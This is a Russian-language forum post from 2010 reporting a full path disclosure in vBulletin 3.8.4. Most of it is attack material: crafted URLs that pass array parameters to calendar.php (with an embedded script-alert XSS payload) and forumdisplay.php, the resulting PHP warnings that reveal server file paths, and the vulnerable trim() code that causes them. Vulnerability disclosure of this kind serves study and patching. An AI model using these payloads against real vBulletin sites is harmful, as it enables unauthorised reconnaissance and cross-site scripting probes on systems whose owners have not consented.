Показать сообщение отдельно

  #65  
Старый 05.01.2010, 18:45
Xcontrol212
Постоянный
Регистрация: 13.02.2008
Сообщений: 505
Провел на форуме:
2916750

Репутация: 277


Отправить сообщение для Xcontrol212 с помощью ICQ
По умолчанию

Раскрытие путей

vBulletin® Version 3.8.4

Код:
localhost/vb/calendar.php?do[]=[]add&[]type=[]recur&c=[]%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E
Код:
Warning: trim() expects parameter 1 to be string, array given in C:\xampp\htdocs\vb\includes\class_core.php on line 1651
Уязвимый код:

PHP код:
 function xss_clean($var)
    {
        static
            
$preg_find    = array('#^javascript#i''#^vbscript#i'),
            
$preg_replace = array('java script',   'vb script');

        return 
preg_replace($preg_find$preg_replacehtmlspecialchars(trim($var)));
    } 
UPD

Код:
http://localhost/vb/forumdisplay.php?do[]
Код:
Unable to add cookies, header already sent.
File: C:\xampp\htdocs\vb\includes\class_core.php
Line: 3277
Код:
Warning: trim() expects parameter 1 to be string, array given in C:\xampp\htdocs\vb\includes\class_core.php on line 1651
Уязвимый код:

PHP код:
foreach (array('_GET''_POST') AS $arrayname)
        {
            if (isset(
$GLOBALS["$arrayname"]['do']))
            {
                
$GLOBALS["$arrayname"]['do'] = trim($GLOBALS["$arrayname"]['do']);
            }

            
$this->convert_shortvars($GLOBALS["$arrayname"]);
        } 
Все GET и POST данные с параметром будет обрабатываться функцией trim,а если сделать их массивом,возникает ошибка.

(C)Xcontrol212

Последний раз редактировалось Xcontrol212; 05.01.2010 в 23:20..
 
Ответить с цитированием